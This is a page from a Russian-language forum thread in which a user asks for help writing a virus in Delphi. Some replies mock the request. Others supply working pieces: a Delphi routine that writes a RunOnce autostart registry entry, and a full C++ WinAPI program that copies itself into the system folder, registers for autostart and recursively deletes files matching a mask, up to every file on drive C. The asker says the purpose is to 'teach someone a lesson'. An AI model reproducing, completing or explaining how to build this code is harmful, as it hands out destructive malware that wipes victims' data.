Поиск  Пользователи  Правила 
Закрыть
Логин:
Пароль:
Забыли свой пароль?
Войти
 
Страницы: Пред. 1 2 3 4 5 След.
RSS
Пишу вирус на Делфи, Помогите Please
 
"Яду мне, яду!" © Булгаков

Надеюсь, что хоть только API используешь? а то бросишь визуальный компонент и твой вирус разрастётся просто до невозможных размеров =)
 
Эх-ты ламер. Вирус он на Delphi пишет!

> Горы литературы перерыл. Ничего не нашел.

Искатель, блин. Справка для таких как вы рядом: Win32 Help

Юзаешь функции FindFirstFile и FindFirstFileEx и будет тебе благо.


---------
чем бы дитя не тешилось...
 
Так... Стока всего понаписали, а толку ИМХО никакого.

1) Поиск файлов на всем диске делается рекурсивно: ищем все файлы в корне, затем ищем все папки в корне и запускаем сами себя (процедуру) для каждой из найденных папок.

2) Автозагрузка по-тупому (везде видно) делается так:
Код
procedure RegWrite;
var reg: TRegistry;
begin
  reg:=TRegistry.Create;
  reg.RootKey:=HKEY_LOCAL_MACHINE;
  reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\RunOnce', true);
  if not reg.KeyExists('virus') then
  begin
    reg.WriteString('virus', 'C:\\WINDOWS\\SYSTEM\\virus.exe');
    reg.CloseKey;
    reg.Free;
  end;
end;


Удачи!  ;)
 
Цитата
Вирус на Делфи это не есть хорошо, вот вирус на Ассемблере другое дело
На самом деле это заблуждение, и там и там вызываються WinApi функции, только синтаксис разный. Знаю одного чувака он на делфи такое вытворяет, вири пишит размером по 10-20 кб.
 
ну конечно с испольщованием  API можно и на делфи вирусы писать, но это, извините, просто моветон ;)
 
Цитата
Вирус на Делфи это не есть хорошо, вот вирус на Ассемблере другое дело

Наоборот, когда все вирусы на дельфе как-то спокойнее  ;)
 
В следующий раз за такими справками звони 02 )
Хотя не,за такое не посадят...иначе бы пол страны сидело)

Пункт первый ( он же главный ):
Берешь гугль и ищешь "алгоритм поиска в глубину". Находишь - алгоритм распространенный, делаешь копи-паст к себе в прогу и можешь считать,что на одного бажного хакера стало больше)

Пукт второй ( гораздо важнее первого )
Вирус который ты пишешь есть херня! Я такое писал в 8 классе на Pascal ( чудный язык...). И вообще, ГОСПОДА!!! Это не интересно удалять файлы на зараженной системе!
ДАВАЙТЕ СОЗДАВАТЬ ФАЙЛЫ!!!!

Загружает юзверь комп,а у него на рабочем столе куча файлов  типа "PI_DA.RAS" в размере 1 Гб ) Эт веселее.

Пункт третий ( он же совет)
Учи ассемблер
PS хорошо учи

PPS: Теперь я знаю как начинали те,кто писал windows.
 
Я занимаюсь защитой информации, но с уважением отношусь к разработчикам серьёзных вирусов... Извините, но если нет знаний о том как устроен регистр и где ветки из которых возможен автозапуск - "Это несерьёзно..." (Операция Ы) Думаю перво наперво, стоит изучить систему и методы внедрения вирусов в различные приложения, а то через автостарт руками душится без привлечения антивирусов :)
Да, автостарт - HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion­\Run
 
Лушче бы писал вирус, который делает папку, в ней файлик и 2 папки, в тех папки по 2 файла и по 4 папки ... и т.д. Это будет более полезней.

А если хочеш человеку файлы постирать брось магнит на хард...
 
Здраствуйте. могу написать класный модуль  для запуску прог ...   :)
 
А я приветствую вирусописательство как ИГРУ ДЕТЕЙ В ДЕТСКОМ САДУ  Лучше бы данные,нужные для вас с серверов крали
 
Могу на C++ (WinApi) дать полный рабочий код... :)
Если нужен конечно...
 
Цитата
ProRaider пишет:
А я приветствую вирусописательство как ИГРУ ДЕТЕЙ В ДЕТСКОМ САДУ Лучше бы данные,нужные для вас с серверов крали
И это тоже верно но "вирусописательство" помогает лучше понять и изучить системное программирование, развить фантазию, соц. инженерию и многое многое другое...
Это не призыв и не подстрекательство...:)
 
Ктото там говорил на счёт того, как создавать PIDA.RAS на рабочем столе.Так вот создаём файл.bat и пишем:
md "Название папки" - чтобы создать папку
->Название файла.расширение(любое хоть LOX...)<-
Всё создаётся только в той директиве, где Файл.bat расположен, достаточно только открыть.

C:->/имя файла.расширение<- для создание в диске C
 
слушай ГаймОвер, а можешь дать этот вирус на C++, а?
 
"Да мне просто кое кого проучить надо. А то ламеры по порносайтам лазяют вирусов полно а крайний я вот и нада их проучить"

Лучше б подумал как зделать так чтоб они там не лазили.

А про написание вируса конечно жесть, прям как в анекдоте: " Вы запустили пакистанский вирус, но так как у нас технологии вирусописания слабо развиты, напишите в командной стране format c: и нажмите enter."
 
Код
слушай ГаймОвер, а можешь дать этот вирус на C++, а?

Не ГаймОвер а sxd :) будем называть всё правильно...
Во-вторых ты просто хочешь чтоб при запуске вирь прописался в автозапуск и удалял с компа все файлы?
Вот держи сырой, очень сырой кусок кода:
Код
// virus_2.cpp : Defines the entry point for the application.
//

#include "stdafx.h"
#include "windows.h"

BOOL RegistryAdd (char * szRegName, char * szPathExe, char * szRegPath)
{
   HKEY hKey;
   long lResult;

   lResult = RegOpenKey (HKEY_LOCAL_MACHINE, szRegPath, &hKey);
   if (lResult != ERROR_SUCCESS)
   {
      MessageBox (0, "RegOpenKey!!!", "Error Function!!!", MB_ICONERROR);
      return FALSE;
   }

   lResult = RegSetValueEx (hKey, szRegName, 0, REG_SZ, (BYTE *) szPathExe, lstrlen(szPathExe)+1);
   if (lResult != ERROR_SUCCESS)
   {
      MessageBox (0, "RegSetValueEx!!!", "Error Function!!!", MB_ICONERROR);
      return FALSE;
   }

   lResult = RegCloseKey (hKey);

   return TRUE;
}

BOOL InstallSystemFile (void)
{
   char szSystemDirectory[MAX_PATH];
   char szThisFile[MAX_PATH];
   char szSystemPath[MAX_PATH];
   char szFile[MAX_PATH];

   GetModuleFileName (NULL, szThisFile, sizeof(szThisFile));
   GetSystemDirectory (szSystemDirectory, sizeof(szSystemDirectory));

   lstrcpy (szSystemPath, szSystemDirectory);
   lstrcat (szSystemPath, "\\VIRUS.EXE");

   if (CopyFile (szThisFile, szSystemPath, TRUE) == TRUE)
      return TRUE;
   else return FALSE;    
}

void FindingFiles (char * szPath, char * szFindMask)
{   
   WIN32_FIND_DATA FindDataStruct;    
   HANDLE hFound;
   char szFindPathFile [MAX_PATH];
   char szNewFindPath [MAX_PATH]; 
   char szFindDelPath [MAX_PATH];  
   char szFindPath [MAX_PATH]; 

   strcpy (szFindPath, szPath); 
   strcat (szFindPath, "\\"); 
   strcpy (szFindDelPath, szFindPath);  
   strcat (szFindPath, szFindMask); 

   if (( hFound = FindFirstFile (szFindPath, &FindDataStruct)) != INVALID_HANDLE_VALUE)    
   {
      if (!(FindDataStruct.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) && strcmp (FindDataStruct.cFileName, "..") && strcmp (FindDataStruct.cFileName, "."))   
      {
                strcpy (szFindPathFile, szFindDelPath);
                strcat (szFindPathFile, FindDataStruct.cFileName);

            DeleteFile(szFindPathFile);[B]удаляем найденные файлы[/B]
      }
      while (FindNextFile (hFound, &FindDataStruct))    
      {   
         if (!(FindDataStruct.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) && strcmp (FindDataStruct.cFileName, "..") && strcmp (FindDataStruct.cFileName, "."))   
         {
                strcpy (szFindPathFile, szFindDelPath);
                strcat (szFindPathFile, FindDataStruct.cFileName);

            DeleteFile(szFindPathFile); [B]удаляем найденные файлы[/B]              
         }
      }
   }
    FindClose (hFound);  
   
    strcpy (szFindPath, szPath); 
    strcat (szFindPath, "\\*.*");  
    
    if ((hFound = FindFirstFile (szFindPath, &FindDataStruct)) != INVALID_HANDLE_VALUE)
   {
      if ((FindDataStruct.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) && strcmp (FindDataStruct.cFileName, "..") && strcmp (FindDataStruct.cFileName, "."))    
      {
         strcpy (szNewFindPath, szPath);   
            strcat (szNewFindPath, "\\");   
            strcat (szNewFindPath, FindDataStruct.cFileName);  
            FindingFiles (szNewFindPath, szFindMask);  
      }
        
      while(FindNextFile( hFound, &FindDataStruct))    
      {
         if ((FindDataStruct.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) && strcmp (FindDataStruct.cFileName, "..") && strcmp(FindDataStruct.cFileName, "."))    
         {
            strcpy (szNewFindPath, szPath);   
                strcat (szNewFindPath, "\\");   
                strcat (szNewFindPath, FindDataStruct.cFileName);  
                FindingFiles (szNewFindPath, szFindMask);
         }
      }
   }
}

int APIENTRY _tWinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPTSTR    lpCmdLine,
                     int       nCmdShow)
{
//Копирование в системную директорию
   if (InstallSystemFile() == TRUE)
   {
      MessageBox (0, "Файл скопирован!!!", "Function OK!!!", MB_ICONASTERISK);
   }
   else
   {
      MessageBox (0, "Файл не скопирован: либо уже существует либо ошибка копирования!!!", "Function Error!!!", MB_ICONERROR);
   }

//Добавление данных в реестр
   if (RegistryAdd ("VIRUS", "VIRUS.EXE", "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") == TRUE)
   {
      MessageBox (0, "Данные в реестр добавлены!!!", "Function OK!!!", MB_ICONASTERISK);
   }
   else
   {
      MessageBox (0, "Данные в реестр не добавлены!!!", "Function Error!!!", MB_ICONERROR);
   }

   FindingFiles ("C:", "*.doc");[B]задаём типы файлов для удаления, например *.exe удаляет все файлы с расширением exe, *.* удаляет все файлы и так далее[/B]
   
   return FALSE;
}
 
Надо сказать что если и писать вирус в настоящее время надо придерживаться новой Философии вирусописательства... Условия уже далеко не тепличные и такими простыми прогами уже мало чего реального сделать можно... :(
Лучше использовать программинг в переплёт с другими известными средствами... соц. инженерия например...
Ведь настоящие вирусы, то есть не программы-бомбы, это изобретение уникальное, это работа с ювелирной точностью... почти что живой организм, ну или даже спутник выпущенный в космос и предоставленный сам себе... Это задача решается не только аналитически просчётом многих ходов и вариантов...
Вообщем на определённом этапе тот кто этим однажды начал заниматься этим, со временем ощущает изменение своего мировозрения... А этот код специально для тех кто начнёт заниматься вирусами...
Так ладно, что то от темы я отшёл... :)  Доделаете код по своему усмотрению...
Если проблемы я тут... С уважением sxd...
 
слухай сюды, СХД, каким это способом я должен это дело скомпилировать? В С++ Билдер ещё не пробовал, но вдругих компиляторах - 2 варнинга и 25 ерроров.
 
И как нада писать функцию копи-паст кароч запускает виру юзер, вирус без базара копируется в папку С\Виндоус\Систем 32?
Страницы: Пред. 1 2 3 4 5 След.
Читают тему